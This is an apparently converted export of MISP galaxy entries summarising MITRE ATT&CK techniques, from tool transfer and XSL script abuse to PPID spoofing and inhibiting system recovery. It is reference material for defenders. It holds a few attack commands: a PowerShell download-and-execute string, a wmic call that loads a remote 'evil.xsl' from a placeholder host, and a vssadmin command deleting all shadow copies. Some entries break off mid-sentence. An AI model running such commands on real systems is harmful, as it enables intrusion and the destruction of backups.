On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://attack.mitre.org/software/S0160), and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as `<code>IEX(New-Object Net.WebClient).downloadString()</code>` and `<code>Invoke-WebRequest</code>`. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. (Citation: t1105_lolbas)

Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts.

Files can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the
victim's machine.(Citation: Dropbox Malware Sync)

The tag is: *misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"

Table 5320. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1105">https://attack.mitre.org/techniques/T1105</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/#t1105">https://lolbas-project.github.io/#t1105</a></td>
</tr>
<tr>
<td><a href="https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/">https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/</a></td>
</tr>
</tbody>
</table>

**Graphical User Interface - T1061**

This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.

The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.

The tag is: *misp-galaxy:mitre-attack-pattern="Graphical User Interface - T1061"

Table 5321. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1061">https://attack.mitre.org/techniques/T1061</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Run_command">https://en.wikipedia.org/wiki/Run_command</a></td>
</tr>
</tbody>
</table>

**Modify System Image - T1601**

Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.

To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.

The tag is: *misp-galaxy:mitre-attack-pattern="Modify System Image - T1601"
**Application Deployment Software - T1017**

Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.

Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The tag is: `misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017"`

**Application Layer Protocol - T1071**

Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.

The tag is: `misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071"`
Credentials in Files - T1081

Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)

In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)

The tag is: `misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081"`

View relationships graph

Credentials in Files - T1081 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001"` with estimative-language:likelihood-probability="almost-certain"

Remote System Discovery - T1018

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the
operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or `<code>net view</code>` using [Net](https://attack.mitre.org/software/S0039).

Adversaries may also analyze data from local host files (ex: `<code>C:\Windows\System32\Drivers\etc\hosts</code>` or `<code>/etc/hosts</code>`) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.

Adversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network (e.g. `<code>show cdp neighbors</code>`, `<code>show arp</code>`).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)

The tag is: `misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018"

### Table 5326. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1018">https://attack.mitre.org/techniques/T1018</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql">https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-106A">https://www.us-cert.gov/ncas/alerts/TA18-106A</a></td>
</tr>
</tbody>
</table>

## Indirect Command Execution - T1202

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)

Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.

The tag is: `misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"

### Table 5327. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1202">https://attack.mitre.org/techniques/T1202</a></td>
</tr>
</tbody>
</table>
XSL Script Processing - T1220

Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension. (Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)

- `<code>msxsl.exe customers[.]xml script[.]xsl</code>`
- `<code>msxsl.exe script[.]xsl script[.]xsl</code>`
- `<code>msxsl.exe script[.]jpeg script[.]jpeg</code>`

Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file. (Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010) "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch. (Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)

- Local File: `<code>wmic process list /FORMAT:evil[.]xsl</code>`
- Remote File: `<code>wmic os get /FORMAT:"https://[/example[.]com/evil[.]xsl"</code>`

The tag is: `misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220"`

Table 5328. Table References
Standard Cryptographic Protocol - T1032

Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.

The tag is: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032"

View relationships graph

Standard Cryptographic Protocol - T1032 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"

Table 5329. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1032">https://attack.mitre.org/techniques/T1032</a></td>
</tr>
<tr>
<td><a href="https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html">https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html</a></td>
</tr>
<tr>
<td><a href="https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf">https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf</a></td>
</tr>
</tbody>
</table>

Derive intelligence requirements - T1230

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content
Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)

The tag is: `misp-galaxy:mitre-attack-pattern="Derive intelligence requirements - T1230"`

### Custom Cryptographic Protocol - T1024

Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.

Custom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.

Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)

The tag is: `misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024"`

### View relationships graph

Custom Cryptographic Protocol - T1024 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573"` with estimative-language:likelihood-probability="almost-certain"

### Table 5331. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1024">https://attack.mitre.org/techniques/T1024</a></td>
</tr>
<tr>
<td><a href="https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf">https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf</a></td>
</tr>
</tbody>
</table>
Domain Generation Algorithms - T1520

Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1520) (DGAs) to procedurally generate domain names for command and control communication, and other uses such as malicious application distribution.(Citation: securelist rotexy 2018)

DGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1520"

**View relationships graph**

Domain Generation Algorithms - T1520 has relationships with:


**Table 5332. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1520">https://attack.mitre.org/techniques/T1520</a></td>
</tr>
</tbody>
</table>

Parent PID Spoofing - T1502

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the `<code>CreateProcess</code>` API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via `<code>svchost.exe</code>` or `<code>consent.exe</code>`) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1085) to be `<code>explorer.exe</code>` rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/2471)
TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as `<code>lsass.exe</code>`), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)

The tag is: `misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1502"

View relationships graph

Parent PID Spoofing - T1502 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1134.004"` with estimative-language:likelihood-probability="almost-certain"

**Table 5333. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1502">https://attack.mitre.org/techniques/T1502</a></td>
</tr>
<tr>
<td><a href="https://blog.xpnsec.com/becoming-system/">https://blog.xpnsec.com/becoming-system/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags">https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works">https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works</a></td>
</tr>
</tbody>
</table>

**Reflective Code Loading - T1620**

Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)

Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer
Rogue Domain Controller - T1207

Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)

This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)

The tag is: **misp-galaxy:mitre-attack-pattern="Rogue Domain Controller - T1207"**

Table 5335. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html">https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html</a></td>
</tr>
<tr>
<td><a href="https://adsecurity.org/?page_id=1821">https://adsecurity.org/?page_id=1821</a></td>
</tr>
</tbody>
</table>
Software Deployment Tools - T1072

Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).

Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. Network infrastructure may also have administration tools that can be similarly abused by adversaries. (Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)

The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it’s intended purpose.

The tag is: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072"

System Information Discovery - T1082

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the `<code>systemsetup</code>` configuration tool on macOS. As an example, adversaries with user-level access can execute the `<code>df -ah</code>` command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information.
Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine. (Citation: Amazon Describe Instance) (Citation: Google Instances Resource) (Citation: Microsoft Virtual Machine API)

The tag is: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"

**Table 5337. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1082">https://attack.mitre.org/techniques/T1082</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/compute/docs/reference/rest/v1/instances">https://cloud.google.com/compute/docs/reference/rest/v1/instances</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get">https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-106A">https://www.us-cert.gov/ncas/alerts/TA18-106A</a></td>
</tr>
</tbody>
</table>

---

**Windows Remote Management - T1028**

Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the `<code>winrm</code>` command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028"

**View relationships graph**

Windows Remote Management - T1028 has relationships with:


**Table 5338. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1028">https://attack.mitre.org/techniques/T1028</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/555.html">https://capec.mitre.org/data/definitions/555.html</a></td>
</tr>
</tbody>
</table>
Commonly Used Port - T1043

This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as

- TCP:80 (HTTP)
- TCP:443 (HTTPS)
- TCP:25 (SMTP)
- TCP/UDP:53 (DNS)

They may use the protocol associated with the port or a completely different protocol.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are

- TCP/UDP:135 (RPC)
- TCP/UDP:22 (SSH)
- TCP/UDP:3389 (RDP)

The tag is: *misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043"

Table 5339. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1043">https://attack.mitre.org/techniques/T1043</a></td>
</tr>
</tbody>
</table>

Private whois services - T1305

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1305).

Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)

The tag is: *misp-galaxy:mitre-attack-pattern="Private whois services - T1305"*
Security Software Discovery - T1063

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Windows

Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), `<code>reg query</code>` with [Reg](https://attack.mitre.org/software/S0075), `<code>dir</code>` with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.

Mac

It's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

The tag is: `misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063"

View relationships graph

Security Software Discovery - T1063 has relationships with:


Test physical access - T1360

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1360).
An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)

The tag is: *misp-galaxy:mitre-attack-pattern=*"Test physical access - T1360"

**Exploit TEE Vulnerability - T1405**

A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).

The tag is: *misp-galaxy:mitre-attack-pattern=*"Exploit TEE Vulnerability - T1405"

**Account Access Removal - T1640**

Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: credentials changed) to remove access to accounts.

The tag is: *misp-galaxy:mitre-attack-pattern=*"Account Access Removal - T1640"
Network Service Discovery - T1046

Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)

Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.

Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as `<code>dns-sd -B _ssh._tcp .</code>’) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046"

Table 5345. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1046">https://attack.mitre.org/techniques/T1046</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a</a></td>
</tr>
</tbody>
</table>

Proxy Through Victim - T1604

Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary's traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot)

The most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the Proxy API to programatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.

The tag is: *misp-galaxy:mitre-attack-pattern="Proxy Through Victim - T1604"

Table 5346. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1604">https://attack.mitre.org/techniques/T1604</a></td>
</tr>
</tbody>
</table>
Windows Management Instrumentation - T1047

Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM). Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)

The tag is: `misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047"`

Table 5347. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1047">https://attack.mitre.org/techniques/T1047</a></td>
</tr>
</tbody>
</table>

Stored Application Data - T1409

Adversaries may try to access and collect application data resident on the device. Adversaries often target popular applications, such as Facebook, WeChat, and Gmail. Due to mobile OS sandboxing, this technique is only possible in three scenarios:

- An application stores files in unprotected external storage
- An application stores files in its internal storage directory with insecure permissions (e.g. 777)
- The adversary gains root permissions on the device

The tag is: `misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409"`

Table 5348. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Inhibit System Recovery - T1490

Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery. (Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.

Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486). (Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups. (Citation: disable_notif_synology_ransom)

A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

- `<code>vssadmin.exe</code>` can be used to delete all volume shadow copies on a system - `<code>vssadmin.exe delete shadows /all /quiet</code>`
- `<code>REAgentC.exe</code>` can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system

